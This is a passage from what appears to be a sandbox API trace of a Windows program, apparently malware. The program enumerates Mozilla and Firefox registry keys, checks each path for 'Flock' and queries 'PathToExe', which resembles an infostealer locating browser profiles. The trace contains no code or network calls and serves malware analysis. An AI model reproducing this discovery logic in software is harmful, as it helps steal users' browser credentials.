out: lpName="f9b87e891978e3145f0f8f9953eadc00", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.120] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService") returned 35 [0071.120] lstrlenA (lpString="\\") returned 1 [0071.120] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0071.120] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\MaintenanceService" | out: lpString1="Software\\Mozilla\\MaintenanceService") returned="Software\\Mozilla\\MaintenanceService" [0071.120] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService", lpString2="\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\") returned="Software\\Mozilla\\MaintenanceService\\" [0071.120] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\") returned 36 [0071.120] lstrlenA (lpString="f9b87e891978e3145f0f8f9953eadc00") returned 32 [0071.120] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x65e350 [0071.120] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla\\MaintenanceService\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\") returned="Software\\Mozilla\\MaintenanceService\\" [0071.120] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\", lpString2="f9b87e891978e3145f0f8f9953eadc00" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0071.120] LocalFree (hMem=0x6293a8) returned 0x0 [0071.120] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", lpSrch="Flock") returned 0x0 [0071.120] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.120] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.120] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.120] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned 68 [0071.120] lstrlenA (lpString="\\") returned 1 [0071.120] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x641518 [0071.120] lstrcpyA (in: lpString1=0x641518, lpString2="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0071.120] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", lpString2="\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" [0071.120] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned 69 [0071.120] lstrlenA (lpString="0") returned 1 [0071.120] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x65d330 [0071.120] lstrcpyA (in: lpString1=0x65d330, lpString2="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" [0071.120] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\", lpString2="0" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0" [0071.120] LocalFree (hMem=0x641518) returned 0x0 [0071.120] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", lpSrch="Flock") returned 0x0 [0071.120] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x649428 [0071.120] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0071.120] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x649428, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.120] RegCloseKey (hKey=0x138) returned 0x0 [0071.120] LocalFree (hMem=0x649428) returned 0x0 [0071.121] LocalFree (hMem=0x65d330) returned 0x0 [0071.121] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x1, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.121] RegCloseKey (hKey=0x134) returned 0x0 [0071.121] LocalFree (hMem=0x646ba0) returned 0x0 [0071.121] LocalFree (hMem=0x65e350) returned 0x0 [0071.121] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f9b87e891978e3145f0f8f9953eadc00", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.121] RegCloseKey (hKey=0x130) returned 0x0 [0071.121] LocalFree (hMem=0x646318) returned 0x0 [0071.121] LocalFree (hMem=0x6292f8) returned 0x0 [0071.121] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x2, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.121] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.121] lstrlenA (lpString="\\") returned 1 [0071.121] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.121] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.121] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.121] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.121] lstrlenA (lpString="Mozilla Firefox") returned 15 [0071.121] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0071.121] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.121] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0071.121] LocalFree (hMem=0x65e350) returned 0x0 [0071.121] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="Flock") returned 0x0 [0071.121] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.121] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.121] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.121] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0071.121] lstrlenA (lpString="\\") returned 1 [0071.121] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x6293a8 [0071.121] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0071.121] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0071.121] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\") returned 33 [0071.121] lstrlenA (lpString="25.0 (en-US)") returned 12 [0071.121] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647440 [0071.121] lstrcpyA (in: lpString1=0x647440, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0071.121] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0071.121] LocalFree (hMem=0x6293a8) returned 0x0 [0071.121] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="Flock") returned 0x0 [0071.121] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.121] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.121] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.121] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0071.121] lstrlenA (lpString="\\") returned 1 [0071.121] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x6474f8 [0071.121] lstrcpyA (in: lpString1=0x6474f8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0071.122] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0071.122] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0071.122] lstrlenA (lpString="Main") returned 4 [0071.122] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0071.122] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0071.122] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0071.122] LocalFree (hMem=0x6474f8) returned 0x0 [0071.122] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="Flock") returned 0x0 [0071.122] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x649428 [0071.122] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0071.122] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x649428, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.122] RegCloseKey (hKey=0x138) returned 0x0 [0071.122] LocalFree (hMem=0x649428) returned 0x0 [0071.122] LocalFree (hMem=0x643aa8) returned 0x0 [0071.122] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x1, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.122] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0071.122] lstrlenA (lpString="\\") returned 1 [0071.122] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x6474f8 [0071.122] lstrcpyA (in: lpString1=0x6474f8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0071.122] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0071.122] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0071.122] lstrlenA (lpString="Uninstall") returned 9 [0071.122] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643aa8 [0071.122] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0071.122] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0071.122] LocalFree (hMem=0x6474f8) returned 0x0 [0071.122] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="Flock") returned 0x0 [0071.122] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x649428 [0071.122] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0071.122] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x649428, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.122] RegCloseKey (hKey=0x138) returned 0x0 [0071.122] LocalFree (hMem=0x649428) returned 0x0 [0071.122] LocalFree (hMem=0x643aa8) returned 0x0 [0071.122] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x2, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.122] RegCloseKey (hKey=0x134) returned 0x0 [0071.122] LocalFree (hMem=0x646ba0) returned 0x0 [0071.122] LocalFree (hMem=0x647440) returned 0x0 [0071.122] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.122] RegCloseKey (hKey=0x130) returned 0x0 [0071.122] LocalFree (hMem=0x646318) returned 0x0 [0071.122] LocalFree (hMem=0x6292f8) returned 0x0 [0071.123] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x3, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.123] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.123] lstrlenA (lpString="\\") returned 1 [0071.123] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.123] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.123] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.123] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.123] lstrlenA (lpString="Mozilla Firefox 25.0") returned 20 [0071.123] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6292f8 [0071.123] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.123] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0071.123] LocalFree (hMem=0x65e350) returned 0x0 [0071.123] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="Flock") returned 0x0 [0071.123] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.123] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.123] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.123] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0071.123] lstrlenA (lpString="\\") returned 1 [0071.123] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0071.123] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0071.123] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.123] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0071.123] lstrlenA (lpString="bin") returned 3 [0071.123] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647440 [0071.123] lstrcpyA (in: lpString1=0x647440, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.123] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0071.123] LocalFree (hMem=0x6293a8) returned 0x0 [0071.123] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="Flock") returned 0x0 [0071.123] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.123] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.123] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.123] RegCloseKey (hKey=0x134) returned 0x0 [0071.123] LocalFree (hMem=0x646ba0) returned 0x0 [0071.123] LocalFree (hMem=0x647440) returned 0x0 [0071.123] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.123] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0071.123] lstrlenA (lpString="\\") returned 1 [0071.123] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0071.123] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0071.123] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.123] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0071.123] lstrlenA (lpString="extensions") returned 10 [0071.123] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0071.123] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.123] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0071.124] LocalFree (hMem=0x6293a8) returned 0x0 [0071.124] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="Flock") returned 0x0 [0071.124] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.124] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.124] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.124] RegCloseKey (hKey=0x134) returned 0x0 [0071.124] LocalFree (hMem=0x646ba0) returned 0x0 [0071.124] LocalFree (hMem=0x643aa8) returned 0x0 [0071.124] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x2, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.124] RegCloseKey (hKey=0x130) returned 0x0 [0071.124] LocalFree (hMem=0x646318) returned 0x0 [0071.124] LocalFree (hMem=0x6292f8) returned 0x0 [0071.124] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x4, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.124] RegCloseKey (hKey=0x150) returned 0x0 [0071.124] LocalFree (hMem=0x645a90) returned 0x0 [0071.124] SetCurrentDirectoryA (lpPathName="C:\\Users\\EEBsYm5\\Desktop" (normalized: "c:\\users\\eebsym5\\desktop")) returned 1 [0071.124] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.124] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.124] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdcc*=0x10, cb=0x4, pcbWritten=0x12fda8 | out: pcbWritten=0x12fda8*=0x4) returned 0x0 [0071.124] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.124] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.124] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0071.124] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.124] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.124] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x8) returned 0x0 [0071.125] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdc8*=0x0, cb=0x4, pcbWritten=0x12fda4 | out: pcbWritten=0x12fda4*=0x4) returned 0x0 [0071.125] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fddc*=0x28, cb=0x2, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x2) returned 0x0 [0071.125] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fde0*=0x0, cb=0x2, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x2) returned 0x0 [0071.125] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x12fde7 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0071.125] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Mozilla") returned="Mozilla" [0071.125] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd78 | out: phkResult=0x12fd78*=0x150) returned 0x0 [0071.125] RegQueryValueExA (in: hKey=0x150, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd70, lpData=0x0, lpcbData=0x12fd74*=0x7 | out: lpType=0x12fd70*=0x0, lpData=0x0, lpcbData=0x12fd74*=0x0) returned 0x2 [0071.125] RegCloseKey (hKey=0x150) returned 0x0 [0071.125] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd4c | out: phkResult=0x12fd4c*=0x150) returned 0x0 [0071.125] RegQueryValueExA (in: hKey=0x150, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd44, lpData=0x0, lpcbData=0x12fd48*=0x12fd30 | out: lpType=0x12fd44*=0x0, lpData=0x0, lpcbData=0x12fd48*=0x0) returned 0x2 [0071.125] RegCloseKey (hKey=0x150) returned 0x0 [0071.125] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fd20 | out: phkResult=0x12fd20*=0x150) returned 0x0 [0071.125] RegQueryValueExA (in: hKey=0x150, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd18, lpData=0x0, 